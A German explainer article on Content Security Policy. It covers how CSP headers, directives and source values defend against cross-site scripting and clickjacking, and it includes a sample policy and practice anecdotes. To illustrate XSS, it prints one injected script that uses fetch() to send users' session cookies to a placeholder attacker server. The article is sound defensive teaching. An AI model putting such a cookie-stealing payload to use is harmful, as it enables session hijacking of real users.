FlowingDev

CSP, erklärt: Der persönliche Bodyguard für deine Webseite

Erfahre, was eine Content Security Policy (CSP) ist, wie ihre Direktiven funktionieren und warum sie eine entscheidende Verteidigungslinie gegen Cross-Site-Scripting-Attacken (XSS) ist.

Tool ausprobieren: CSP-Prüfer

In einem Satz

Content-Security-Policy (CSP) ist ein Sicherheitsstandard, der über einen HTTP-Header ausgeliefert wird. Er teilt dem Browser mit, welche Inhaltsquellen (wie Skripte, Bilder und Styles) vertrauenswürdig sind und geladen werden dürfen. Im Grunde ist es ein Türsteher, der bösartige Einschleusungen abwehrt.

Welches Problem es löst

In den frühen Wild-West-Zeiten des Webs war Sicherheit eher so ein nachträglicher Gedanke. Einer der fiesesten Schurken, die damals aufkamen, war Cross-Site Scripting, oder kurz XSS. Kurz gesagt, XSS ist ein Angriff, bei dem es einem Bösewicht gelingt, seinen eigenen schädlichen Code (meistens JavaScript) in eine Webseite einzuschleusen, der du eigentlich vertraust.

Stell dir einen Blog mit einer Kommentarfunktion vor. Du als Entwickler baust die Seite sorgfältig auf. Aber du übersiehst einen winzigen Bug bei der Anzeige von Kommentaren. Ein Angreifer kommt vorbei und anstatt „Toller Beitrag!“ zu schreiben, sendet er einen Kommentar wie diesen ab:

<script>
  // Steal the logged-in user's session cookie
  fetch('https://attackers-evil-server.com/steal?cookie=' + document.cookie);
</script>

Jeder andere Nutzer, der diesen Blogbeitrag jetzt aufruft, lässt seinen Browser dieses Skript ausführen. Da das Skript auf der Domain deines Blogs läuft, hat es Zugriff auf alles, worauf auch ein legitimes Skript zugreifen würde, wie zum Beispiel die Session-Cookies des Nutzers. Der Angreifer kann nun ihre Sitzung kapern und sich als sie ausgeben. Autsch.

Jahrelang bestand die einzige Abwehr darin, jede einzelne Benutzereingabe pedantisch zu bereinigen. Das nennt man „Input Validation and Output Encoding“, und es ist immer noch absolut entscheidend. Aber es ist auch unglaublich schwer, das zu 100 % richtig zu machen, und zwar immer. Ein kleiner Ausrutscher, und schon bist du angreifbar.

CSP entstand aus der Notwendigkeit einer „Defense in Depth“ (tiefgestaffelten Verteidigung). Die Idee ist einfach: Was wäre, wenn der Server dem Browser sagen könnte: „Hey, ich weiß, ich sollte perfekt sein, aber nur für den Fall, dass ich Mist gebaut und ein bösartiges Skript durchgelassen habe, setz bitte ein paar Regeln für mich durch. Führe nur Skripte aus, die von meiner eigenen Domain my-app.com und von Google Analytics stammen. Wenn du ein Skript aus einer anderen Quelle siehst, blockiere es und sag mir Bescheid.“

Das ist CSP. Es ist eine zweite Verteidigungslinie, die direkt im Browser des Nutzers arbeitet und ihn von einem passiven Opfer zu einem aktiven Sicherheitsagenten macht.

Wie es unter der Haube funktioniert

CSP ist keine Magie; es ist nur eine Zeichenkette, die in einem HTTP-Response-Header mitgeschickt wird. Die zwei wichtigsten Header sind:

  • Content-Security-Policy: Setzt die Policy durch. Wenn eine Ressource gegen die Policy verstößt, wird sie blockiert.
  • Content-Security-Policy-Report-Only: Ein „Trockenlauf“-Modus. Er meldet Verstöße, blockiert aber nichts – ein Segen, um eine neue Policy zu testen und auszurollen, ohne deine Seite zu zerschießen.

Der Wert des Headers ist eine Reihe von Direktiven, die jeweils mit einem Semikolon enden. Eine Direktive besteht aus einem Namen und einer Liste von erlaubten Quellen.

Gängige Direktiven

Stell dir Direktiven als Kategorien von Inhalten vor, die du kontrollieren willst.

Direktive Kontrolliert... Was es abdeckt
default-src Der Fallback Die Standard-Quellenliste für die meisten anderen -src-Direktiven, falls diese nicht angegeben sind. Setz diese zuerst!
script-src Skripte JavaScript-Quellen, einschließlich script-Tags, Inline-Handler (onclick) und mehr. Der wichtigste Brocken bei XSS.
style-src Stylesheets CSS-Dateien, style-Tags und inline style-Attribute.
img-src Bilder <img>-Tags, Favicons, etc.
connect-src Verbindungen URLs für fetch(), XMLHttpRequest, WebSocket, etc. Womit darf dein Frontend sprechen?
font-src Schriftarten Web-Fonts, die über @font-face geladen werden.
frame-src Frames Quellen für <iframe>- und <frame>-Elemente.
report-uri Reporting (Veraltet, aber verbreitet) Eine URL, an die der Browser JSON-Berichte über Policy-Verstöße sendet.
report-to Reporting Der moderne Ersatz für report-uri, der die Reporting API verwendet.

Gängige Quellenwerte

Für jede Direktive gibst du an, woher Inhalte kommen dürfen.

Quelle Bedeutung Beispiel
'self' Dieselbe Herkunft (Origin) Erlaubt Inhalte von derselben Domain, demselben Schema und demselben Port wie das Dokument.
'none' Nichts Blockiert alle Inhalte für diese Direktive. object-src 'none' ist eine sehr gute Idee.
example.com Ein bestimmter Host Erlaubt Inhalte von example.com.
*.example.com Host mit Wildcard Erlaubt Inhalte von jeder Subdomain von example.com. Mit Vorsicht genießen!
https: Ein Schema Erlaubt Inhalte von jeder Quelle über HTTPS.
'unsafe-inline' Inline-Code Erlaubt inline <script>- und <style>-Tags sowie style- oder onclick-Attribute. Wenn möglich vermeiden!
'unsafe-eval' Dynamischer Code Erlaubt String-Evaluierungsfunktionen wie eval(). Ein großes Sicherheitsrisiko.
'nonce-...' Eine kryptografische Nonce Erlaubt ein Inline-Skript, wenn sein nonce-Attribut mit dem im Header übereinstimmt. Super, um bestimmte Inline-Skripte sicher zu verwenden.
'sha256-...' Ein Hash Erlaubt ein Inline-Skript oder -Style, wenn sein SHA256-Hash mit dem im Header übereinstimmt.

Das Ganze zusammengefügt

Schauen wir uns eine realistische Policy für eine moderne Web-App an:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.my-analytics.com 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https://images.my-app.com;
  connect-src 'self' https://api.my-app.com;
  font-src 'none';
  object-src 'none';
  frame-ancestors 'none';
  report-to csp-endpoint;

Schlüsseln wir das mal auf:

  • default-src 'self': Standardmäßig nur Ressourcen von unserer eigenen Herkunft (Origin) erlauben.
  • script-src ...: Wir erlauben Skripte von unserer eigenen Herkunft, von unserem Analytics-Anbieter und jedes Inline-Skript, das den spezifischen nonce-Wert hat. Der Server würde bei jedem einzelnen Seitenaufruf eine neue, zufällige Nonce generieren.
  • style-src 'self' 'unsafe-inline': Wir erlauben Stylesheets von unserer Herkunft. Das 'unsafe-inline' deutet darauf hin, dass wir möglicherweise alten Code haben, der style-Attribute einfügt – eine gängige (wenn auch nicht ideale) Situation.
  • img-src ...: Bilder dürfen von unserer Herkunft, als data: URIs oder von unserem dedizierten Image-CDN kommen.
  • connect-src ...: Unser Frontend-JavaScript darf nur API-Aufrufe an unsere eigene Herkunft und an api.my-app.com machen.
  • font-src 'none', object-src 'none': Wir verwenden keine eigenen Schriftarten oder Plugins wie Flash, also blockieren wir sie komplett.
  • frame-ancestors 'none': Dies verhindert, dass andere Seiten unsere Seite in einen <iframe> einbetten, was Clickjacking-Angriffe unterbindet.
  • report-to csp-endpoint: Sende Berichte über Verstöße an den Reporting-Endpoint namens csp-endpoint (der an anderer Stelle konfiguriert wird).

Geschichten aus der Praxis

Der E-Commerce-Skimmer

Ein mittelgroßer Onlineshop fügte ein Chat-Widget von einem Drittanbieter zu seiner Seite hinzu, um den Kundenservice zu unterstützen. Sie fügten die Domain des Widgets zu ihrer script-src-Direktive hinzu und dachten, sie wären auf der sicheren Seite. Was sie nicht wussten: Bei der Firma des Chat-Widgets selbst wurde eingebrochen, und ein Angreifer veränderte die Skript-Datei des Widgets. Die neue, bösartige Version las die Kassenseite aus, um an Kreditkartennummern zu kommen. Da die CSP des Shops der Quelldomain vertraute, wurde das bösartige Skript wochenlang ohne Probleme geladen und ausgeführt.

Lektion: Deine CSP ist eine Vertrauenskette. Wenn du eine Drittanbieter-Domain erlaubst, vertraust du nicht nur dieser Firma; du vertraust ihrer Sicherheit, ihrer Deployment-Pipeline und all ihren Abhängigkeiten. Subresource Integrity (SRI) ist ein weiteres Werkzeug, das helfen kann, dieses spezielle Risiko zu mindern.

Der langsame Rollout

Ein großes Medienunternehmen wollte eine strenge CSP auf seiner vielbesuchten Nachrichtenseite einführen. Sie wussten, dass ein sofortiger Rollout Werbung, Videos und unzählige andere Features lahmlegen könnte. Anstatt direkt live zu gehen, spielten sie eine Policy im Content-Security-Policy-Report-Only-Modus aus. Zwei Wochen lang sammelten sie nur Daten. Ihr report-uri-Endpunkt wurde mit Tausenden von Berichten pro Stunde überflutet. Sie leiteten diese Berichte in eine Datenbank und bauten ein Dashboard, das die am häufigsten blockierten Ressourcen und die Seiten anzeigte, auf denen sie blockiert wurden. Sie entdeckten Dutzende von vergessenen, alten Tracking-Skripten, Werbenetzwerk-Domains und Abhängigkeiten von Videoplayern. Systematisch entfernten sie entweder die alten Ressourcen oder fügten die legitimen zu ihrer Policy-Whitelist hinzu. Nach einem Monat Feinschliff legten sie den Schalter auf den erzwingenden Modus um. Nichts ging kaputt.

Lektion: Flieg nicht blind. Nutze den Report-Only-Modus als deinen Co-Piloten. Er lässt dich eine perfekte, praxisnahe Policy auf Basis von echtem Nutzer-Traffic erstellen und verwandelt eine furchteinflößende Sicherheitsaufgabe in ein überschaubares Datenanalyseproblem.

Die Browser-Extension-Bedrohung

Ein Mitarbeiter einer Finanzfirma nutzte eine beliebte Browser-Extension, die Webseiten „verschönerte“, indem sie ihr eigenes CSS und JavaScript einfügte. Auf den meisten Seiten war das harmlos. Aber als er sich in das interne Finanzportal der Firma einloggte, funktionierte die Seite nicht mehr richtig. Verwirrt rief er die IT an. Ein Entwickler schaute in die Browser-Konsole und sah einen Strom von CSP-Verletzungsfehlern: Das Portal blockierte die Injektion der Skripte und Styles der Extension. Die strenge CSP des Portals, die nur Skripte und Styles von 'self' erlaubte, hatte den Code der Extension korrekterweise als nicht vertrauenswürdige, fremde Ressource identifiziert und blockiert. Es verhinderte ein potenzielles Datenleck durch eine gut gemeinte, aber invasive Extension.

Lektion: Eine starke CSP schützt deine Nutzer nicht nur vor deinen eigenen potenziellen Bugs, sondern auch vor Bedrohungen in ihrer eigenen Browser-Umgebung, wie bösartigen oder zu freizügigen Extensions.

Häufige Fehler und Fallstricke

  • Sich auf 'unsafe-inline' verlassen. Das ist der häufigste Fallstrick. Entwickler stoßen auf Probleme mit alten onclick-Event-Handlern oder inline <script>-Tags und greifen als schnelle Lösung zu 'unsafe-inline'. Das reißt einen riesigen Angriffsvektor für XSS-Attacken wieder auf. Der bessere Weg ist, den Code umzubauen und addEventListener zu verwenden oder, wenn man absolut ein Inline-Skript braucht, es gezielt mit einer Nonce oder einem Hash auf die Whitelist zu setzen.
  • default-src vergessen. Wenn du nur script-src und style-src setzt, lässt du andere Vektoren offen. Was ist mit <object>-Tags? Oder Workern? Beginne immer mit einem restriktiven default-src 'self' oder default-src 'none' und öffne nur das, was du pro Direktive wirklich brauchst.
  • Reporting einrichten, aber nie reinschauen. Eine report-uri, die ins Leere zeigt, ist nutzlos. Verstoß-Reports sind dein Frühwarnsystem. Sie können dich auf eine neue XSS-Attacke in freier Wildbahn aufmerksam machen oder dir sagen, dass ein kürzliches Deployment ein legitimes Feature für einen Teil der Nutzer kaputt gemacht hat. Du brauchst einen Prozess, um diese Berichte zu erfassen, zu bündeln und zu überprüfen.
  • Zu freizügige Wildcards verwenden. Es ist verlockend, script-src https://*.some-cdn.com zu verwenden, aber das könnte einem Angreifer erlauben, ein Skript von https://malicious-user-account.some-cdn.com zu laden. Sei bei deinen Hostnamen so spezifisch wie nur irgend möglich.
  • frame-ancestors ignorieren. XSS bekommt die ganze Aufmerksamkeit, aber Clickjacking ist eine weitere echte Bedrohung. Ein Angreifer kann deine Seite in einem transparenten <iframe> über seiner eigenen bösartigen Seite laden und Nutzer dazu verleiten, auf Buttons auf deiner Seite zu klicken. frame-ancestors 'none' oder frame-ancestors 'self' ist eine einfache und mächtige Verteidigung, die oft vergessen wird.

Warum du es auf dem Schirm haben solltest

Du solltest über CSP nachdenken, wenn du...

  • Webanwendungen baust, die mit User-Logins, persönlichen Daten oder Zahlungsinformationen hantieren.
  • Inhalte anzeigst, die von Nutzern übermittelt wurden (Kommentare, Profile, Forenbeiträge).
  • mehrere Skripte von Drittanbietern wie Analytics, Werbung, Support-Widgets oder Tag-Manager integrierst.
  • eine robuste, moderne, tiefgestaffelte Sicherheitsarchitektur für jedes nicht-triviale Webprojekt anstrebst.

Kurz gesagt: Wenn du im 21. Jahrhundert Webentwickler bist, sollte CSP ein Standardteil deines Werkzeugkastens sein. Es ist kein exotisches Feature mehr für die Ultra-Paranoiden; es ist ein fundamentaler Baustein der Frontend-Sicherheit.

Tauch tiefer ein

Theorie erledigt. Zeit, loszulegen — 100 % in deinem Browser.

Tool ausprobieren: CSP-Prüfer